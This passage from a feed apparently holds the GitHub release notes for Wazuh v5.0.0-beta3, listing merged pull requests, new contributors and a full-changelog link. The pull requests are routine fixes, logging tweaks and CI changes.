<li>wazuh-engine: Improve log messages and logger by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4688784533" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36995" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36995/hovercard" href="https://github.com/wazuh/wazuh/pull/36995">#36995</a></li>
<li>Set default indexer connector credentials by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746445718" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37192" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37192/hovercard" href="https://github.com/wazuh/wazuh/pull/37192">#37192</a></li>
<li>Fix incorrect snprintf size calculation in winevtchannel decoder by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750564321" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37198" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37198/hovercard" href="https://github.com/wazuh/wazuh/pull/37198">#37198</a></li>
<li>Align VD feed-download log levels with indexer consumer state by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750803257" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37199" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37199/hovercard" href="https://github.com/wazuh/wazuh/pull/37199">#37199</a></li>
<li>Recognize renamed indexer consumer status in engine sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4751474129" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37204" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37204/hovercard" href="https://github.com/wazuh/wazuh/pull/37204">#37204</a></li>
<li>Merge 4.14.6 into 4.14.7 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752903836" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37210" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37210/hovercard" href="https://github.com/wazuh/wazuh/pull/37210">#37210</a></li>
<li>Token replacement to avoid permission errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753550212" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37237" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37237/hovercard" href="https://github.com/wazuh/wazuh/pull/37237">#37237</a></li>
<li>Merge 4.14.7 into 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752941791" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37211" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37211/hovercard" href="https://github.com/wazuh/wazuh/pull/37211">#37211</a></li>
<li>Eliminate TOCTOU races in healthcheck file operations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736827470" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37160" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37160/hovercard" href="https://github.com/wazuh/wazuh/pull/37160">#37160</a></li>
<li>Sca file policy block standardization by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Johnng007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Johnng007">@Johnng007</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4743999327" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37179" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37179/hovercard" href="https://github.com/wazuh/wazuh/pull/37179">#37179</a></li>
<li>Bind agent index selection and scope deletes by cluster by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735319890" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37154" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37154/hovercard" href="https://github.com/wazuh/wazuh/pull/37154">#37154</a></li>
<li>Add Null Check for Inode and Dev Fields in FIM Whodata Event Handler by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4766388009" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37245" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37245/hovercard" href="https://github.com/wazuh/wazuh/pull/37245">#37245</a></li>
<li>Docs/6764 logcollector whats new 5.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnDumu">@AnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721987109" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37056" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37056/hovercard" href="https://github.com/wazuh/wazuh/pull/37056">#37056</a></li>
<li>Repair RPM builder toolchain downloads by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728182443" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37130" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37130/hovercard" href="https://github.com/wazuh/wazuh/pull/37130">#37130</a></li>
<li>Add cluster name validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753677014" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37238" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37238/hovercard" href="https://github.com/wazuh/wazuh/pull/37238">#37238</a></li>
<li>Add cluster readiness endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728071822" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37129" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37129/hovercard" href="https://github.com/wazuh/wazuh/pull/37129">#37129</a></li>
<li>Defer cluster payload buffer allocation until data is received by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4769731908" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37280" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37280/hovercard" href="https://github.com/wazuh/wazuh/pull/37280">#37280</a></li>
<li>Indexer connector bulk size and flush interval configurable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736764012" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37158" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37158/hovercard" href="https://github.com/wazuh/wazuh/pull/37158">#37158</a></li>
<li>Enable shared-password enrollment by default by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4734529271" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37151" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37151/hovercard" href="https://github.com/wazuh/wazuh/pull/37151">#37151</a></li>
<li>Fix unit test workflow paths and report handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777938328" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37317" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37317/hovercard" href="https://github.com/wazuh/wazuh/pull/37317">#37317</a></li>
<li>Migrate agent + server CI artifacts to S3 — 4.14.7 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643824078" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5300" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5300/hovercard" href="https://github.com/wazuh/wazuh/issues/5300">#5300</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643806955" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5298" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5298/hovercard" href="https://github.com/wazuh/wazuh/issues/5298">#5298</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4745105538" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37186" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37186/hovercard" href="https://github.com/wazuh/wazuh/pull/37186">#37186</a></li>
<li>Handle eol amazon inspector classic by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746717311" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37194" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37194/hovercard" href="https://github.com/wazuh/wazuh/pull/37194">#37194</a></li>
<li>Fix wazuh-modulesd missing after macOS agent restart by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cborla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cborla">@cborla</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4695257310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37020" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37020/hovercard" href="https://github.com/wazuh/wazuh/pull/37020">#37020</a></li>
<li>Fix test_worker failing unit test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777598945" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37314" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37314/hovercard" href="https://github.com/wazuh/wazuh/pull/37314">#37314</a></li>
<li>Improve log messages  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671655779" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36876" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36876/hovercard" href="https://github.com/wazuh/wazuh/pull/36876">#36876</a></li>
<li>Improve changelog format by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4784576201" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37332" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37332/hovercard" href="https://github.com/wazuh/wazuh/pull/37332">#37332</a></li>
<li>Lower log level of transient cluster IPC failures (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768765565" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37277" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/37277/hovercard" href="https://github.com/wazuh/wazuh/issues/37277">#37277</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768737167" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37276" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/37276/hovercard" href="https://github.com/wazuh/wazuh/issues/37276">#37276</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4783970019" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37326" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37326/hovercard" href="https://github.com/wazuh/wazuh/pull/37326">#37326</a></li>
<li>Fix TypeError when sorting agents by version with empty version strings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4779868587" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37323" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37323/hovercard" href="https://github.com/wazuh/wazuh/pull/37323">#37323</a></li>
<li>Migrate agent + server CI artifacts to S3 — 5.0.0 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643824078" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5300" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5300/hovercard" href="https://github.com/wazuh/wazuh/issues/5300">#5300</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643806955" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5298" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5298/hovercard" href="https://github.com/wazuh/wazuh/issues/5298">#5298</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744978467" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37185" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37185/hovercard" href="https://github.com/wazuh/wazuh/pull/37185">#37185</a></li>
<li>Validate asset resource names before policy promotion by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4741678194" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37172" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37172/hovercard" href="https://github.com/wazuh/wazuh/pull/37172">#37172</a></li>
<li>Revert wazuh-server indexer credentials and propagate log context in indexer connector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4784669937" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37333" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37333/hovercard" href="https://github.com/wazuh/wazuh/pull/37333">#37333</a></li>
<li>Add VD readiness status HTTP endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753007421" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37213" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37213/hovercard" href="https://github.com/wazuh/wazuh/pull/37213">#37213</a></li>
<li>Use github.workspace for wodles report paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787326775" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37342" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37342/hovercard" href="https://github.com/wazuh/wazuh/pull/37342">#37342</a></li>
<li>Skip FIM whodata cases on the tier-2 Linux job (CodeBuild) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771331061" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37291" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37291/hovercard" href="https://github.com/wazuh/wazuh/pull/37291">#37291</a></li>
<li>Migrate 4.x Windows test runners to AWS CodeBuild  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746542396" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37193" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37193/hovercard" href="https://github.com/wazuh/wazuh/pull/37193">#37193</a></li>
<li>Lower log level of transient queue send failures in modulesd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788115193" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37345" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37345/hovercard" href="https://github.com/wazuh/wazuh/pull/37345">#37345</a></li>
<li>Add changelog check workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787529876" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37343" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37343/hovercard" href="https://github.com/wazuh/wazuh/pull/37343">#37343</a></li>
<li>Add changelog check workflow for 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788939423" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37351" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37351/hovercard" href="https://github.com/wazuh/wazuh/pull/37351">#37351</a></li>
<li>Retry <code>OS_SendUnix</code> on <code>ENOBUFS</code> to stop dropping binary sync messages on macOS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788850753" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37349" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37349/hovercard" href="https://github.com/wazuh/wazuh/pull/37349">#37349</a></li>
<li>change: Allow null root_decoder as alias of empty string on policy cr… by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788261828" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37347" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37347/hovercard" href="https://github.com/wazuh/wazuh/pull/37347">#37347</a></li>
<li>Fix eBPF FIM whodata for Amazon Linux by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692775155" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37014" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37014/hovercard" href="https://github.com/wazuh/wazuh/pull/37014">#37014</a></li>
<li>Merge 4.14.6 into 4.14.7 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4792934428" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37358" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37358/hovercard" href="https://github.com/wazuh/wazuh/pull/37358">#37358</a></li>
<li>Bump 5.0.0 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4794415837" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37371" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37371/hovercard" href="https://github.com/wazuh/wazuh/pull/37371">#37371</a></li>
<li>Merge 4.14.7 into 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793306985" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37360" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37360/hovercard" href="https://github.com/wazuh/wazuh/pull/37360">#37360</a></li>
<li>Migrate remaining CI artifacts to S3 for the 5.0.0 branch (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="454578666" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/3502" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/3502/hovercard" href="https://github.com/wazuh/wazuh/pull/3502">#3502</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788864035" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37350" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37350/hovercard" href="https://github.com/wazuh/wazuh/pull/37350">#37350</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MARCOSD4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MARCOSD4">@MARCOSD4</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539151411" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36518" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36518/hovercard" href="https://github.com/wazuh/wazuh/pull/36518">#36518</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ripdiegozz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ripdiegozz">@Ripdiegozz</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505228985" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36357" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36357/hovercard" href="https://github.com/wazuh/wazuh/pull/36357">#36357</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adman23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adman23">@Adman23</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580559348" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36750" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36750/hovercard" href="https://github.com/wazuh/wazuh/pull/36750">#36750</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jcorredor-spec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jcorredor-spec">@jcorredor-spec</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521476970" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36402" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36402/hovercard" href="https://github.com/wazuh/wazuh/pull/36402">#36402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/wazuh/wazuh/compare/v5.0.0-beta2...v5.0.0-beta3"><tt>v5.0.0-beta2...v5.0.0-beta3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Thursday]]></title>
